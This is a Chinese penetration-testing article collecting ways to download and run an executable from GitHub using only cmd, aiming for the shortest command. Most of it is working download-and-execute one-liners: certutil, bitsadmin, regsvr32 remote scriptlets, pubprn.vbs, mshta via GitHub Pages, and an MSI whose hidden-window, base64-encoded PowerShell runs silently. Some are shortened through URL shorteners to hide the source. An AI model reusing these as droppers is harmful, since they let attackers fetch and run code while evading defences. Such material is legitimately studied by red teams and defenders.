渗透技巧——从github下载文件的多种方法

0x00 前言


本文源于一个有趣的问题:

已知exe文件:https://github.com/3gstudent/test/raw/master/putty.exe

Windows环境,需要将该exe释放到指定目录并执行,例如c:\download

问:通过cmd实现的最短代码是多少字符?

0x01 简介


本文将要介绍以下内容:

  • 通过cmd实现从github下载文件的方法汇总
  • 选出最短代码的实现方法

0x02 分析

在之前的文章《渗透技巧——通过cmd上传文件的N种方法》对通过命令行下载文件的方法做了汇总

而github支持https协议,并不支持http协议,所以在利用上需要注意一些问题,有些方法不支持http协议

0x03 可用方法汇总

1、powershell

powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

2、certutil

certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe&&c:\download\a.exe

3、bitsadmin

bitsadmin /transfer n http://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe && c:\download\a.exe

注:

使用bitsadmin的下载速度较慢

4、regsvr32

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll

原理:

regsve32->JScript->powershell->download&exec

JScript调用powershell实现下载执行的代码为:

new ActiveXObject("WScript.Shell").Run("powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\\download\\a.exe');start-process 'c:\\download\\a.exe'",0,true);

参照sct文件格式:

https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct

添加功能,生成downloadexec.sct

实现功能:

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll

当然,为了减少调用的程序,也可以使用以下思路:

regsve32->VBScript->download&exec

通常,vbs脚本实现的下载执行代码:

Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.XMLHTTP")
http.open "GET","http://192.168.81.192/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "c:\download\a.exe"
ado.Close

但该脚本不支持https下载,可以换用Msxml2.ServerXMLHTTP.6.0

代码如下:

Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "c:\download\a.exe"
ado.Close

注:

该思路来自@mosin @索马里海贼

也可以通过WinHttp.WinHttpRequest.5.1实现,代码如下:

Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "c:\download\a.exe"
ado.Close

注:

该思路来自@ogre

vbs脚本实现的执行代码

WScript.CreateObject("WScript.Shell").Run "c:\download\a.exe",0,true

依旧是以sct文件作为模板,添加功能,生成downloadexec2.sct

实现功能:

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec2.sct scrobj.dll

5、pubprn.vbs

利用pubprn.vbs能够执行远程服务器上的sct文件(sct文件格式有区别)

思路:

regsve32->VBScript->download&exec

代码已上传,地址为https://raw.githubusercontent.com/3gstudent/test/master/downloadexec3.sct

实现功能:

cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec3.sct

当然,也可使用如下思路实现(代码略):

regsve32->JScript->powershell->download&exec

6、msiexec

该方法我之前的两篇文章《渗透测试中的msiexec》《渗透技巧——从Admin权限切换到System权限》有过介绍,细节不再赘述

首先将powershell实现下载执行的代码作base64编码:

$fileContent = "(new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\download\a.exe');start-process 'c:\download\a.exe'"
$bytes  = [System.Text.Encoding]::Unicode.GetBytes($fileContent);
$encoded = [System.Convert]::ToBase64String($bytes); 
$encoded

得到:

KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwAzAGcAcwB0AHUAZABlAG4AdAAvAHQAZQBzAHQALwByAGEAdwAvAG0AYQBzAHQAZQByAC8AcAB1AHQAdAB5AC4AZQB4AGUAJwAsACcAYwA6AFwAZABvAHcAbgBsAG8AYQBkAFwAYQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAnAGMAOgBcAGQAbwB3AG4AbABvAGEAZABcAGEALgBlAHgAZQAnAA==

完整powershell命令为:

powershell -WindowStyle Hidden -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwAzAGcAcwB0AHUAZABlAG4AdAAvAHQAZQBzAHQALwByAGEAdwAvAG0AYQBzAHQAZQByAC8AcAB1AHQAdAB5AC4AZQB4AGUAJwAsACcAYwA6AFwAZABvAHcAbgBsAG8AYQBkAFwAYQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAnAGMAOgBcAGQAbwB3AG4AbABvAGEAZABcAGEALgBlAHgAZQAnAA==

完整wix文件为:

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
  <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product 
Name" Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
    <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
    <Media Id="1" />

    <Directory Id="TARGETDIR" Name="SourceDir">
      <Directory Id="ProgramFilesFolder">
        <Directory Id="INSTALLLOCATION" Name="Example">
          <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">     
          </Component>
        </Directory>
      </Directory>
    </Directory>

    <Feature Id="DefaultFeature" Level="1">
      <ComponentRef Id="ApplicationFiles"/>
    </Feature>

    <Property Id="cmdline">powershell -WindowStyle Hidden -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwAzAGcAcwB0AHUAZABlAG4AdAAvAHQAZQBzAHQALwByAGEAdwAvAG0AYQBzAHQAZQByAC8AcAB1AHQAdAB5AC4AZQB4AGUAJwAsACcAYwA6AFwAZABvAHcAbgBsAG8AYQBkAFwAYQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAnAGMAOgBcAGQAbwB3AG4AbABvAGEAZABcAGEALgBlAHgAZQAnAA==
    </Property>

    <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" 
ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>

    <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
      invalid vbs to fail install
    </CustomAction>

    <InstallExecuteSequence>
      <Custom Action="SystemShell" After="InstallInitialize"></Custom>
      <Custom Action="FailInstall" Before="InstallFiles"></Custom>
    </InstallExecuteSequence>

  </Product>
</Wix>

将其编译,生成msi文件,命令如下:

candle.exe msigen.wix

light.exe msigen.wixobj

生成test.msi

实现功能:

msiexec /q /i https://github.com/3gstudent/test/raw/master/test.msi

注:

执行后需要手动结束进程msiexec.exe

7、mshta

mshta支持httphtpps

但mshta在执行hta脚本时,类似于浏览器,会根据链接返回头进行对应的解析操作,所以这里只有当返回头为html时才会运行

否则会被当普通文本进行解析

对于github的代码,返回的格式为text/plain

如果使用如下命令执行:

mshta https://raw.githubusercontent.com/3gstudent/test/master/calc.hta

会把代码当成text,无法解析成html,导致脚本无法执行

但是我们可以换一个思路:

将hta文件传到github的博客下面,就能够被解析成html,实现代码执行

将hta文件上传至github博客下面,地址为https://3gstudent.github.io/test/calc.hta

执行如下命令:

mshta https://3gstudent.github.io/test/calc.hta

成功弹出计算器

注:

该思路来自于DM_

添加功能,实现下载执行,命令如下:

mshta https://3gstudent.github.io/test/downloadexec.hta

弹框提示此计算机上的安全设置禁止访问其它域的数据源,如下图

解决方法:

IE浏览器-Internet选项-安全

选择可信站点,添加博客地址:https://3gstudent.github.io/

如下图

自定义级别,找到通过域访问数据源,选择启用

如下图

再次测试,成功实现下载执行的功能

经过以上的测试,我们发现IE浏览器默认会拦截vbs脚本实现的下载功能

那么,我们可以大胆猜测,如果下载执行换成powershell实现的话,那么就不会被拦截

修改脚本,上传至github

命令如下:

mshta https://3gstudent.github.io/test/downloadexec2.hta

经过测试,该方法可用

使用短地址

有趣的是 http://dwz.cn/ 不支持该域名

换一个短地址网站 http://sina.lt/

生成短地址,最终命令为:

mshta http://t.cn/RYUQyF8

最终实现的最短字符为25

0x04 补充


1、IEExec

需要管理员权限

cd C:\Windows\Microsoft.NET\Framework\v2.0.50727\
caspol -s off
IEExec http://github.com/3gstudent/test/raw/master/putty.exe

注:

exe需要满足特定格式

我在Win7下复现失败

详情可参考:

https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

0x05 小结

本文对通过cmd实现从github下载文件的方法做了汇总,倒数第二短的实现方式为

msiexec /q /i https://github.com/3gstudent/test/raw/master/test.msi

结合百度提供的短地址服务(http://dwz.cn/), 实现代码为34个字符,代码如下:

msiexec /q /i http://dwz.cn/6UJpF8

最短的实现方式为mshta http://t.cn/RYUQyF8

实现的最短字符长度为25

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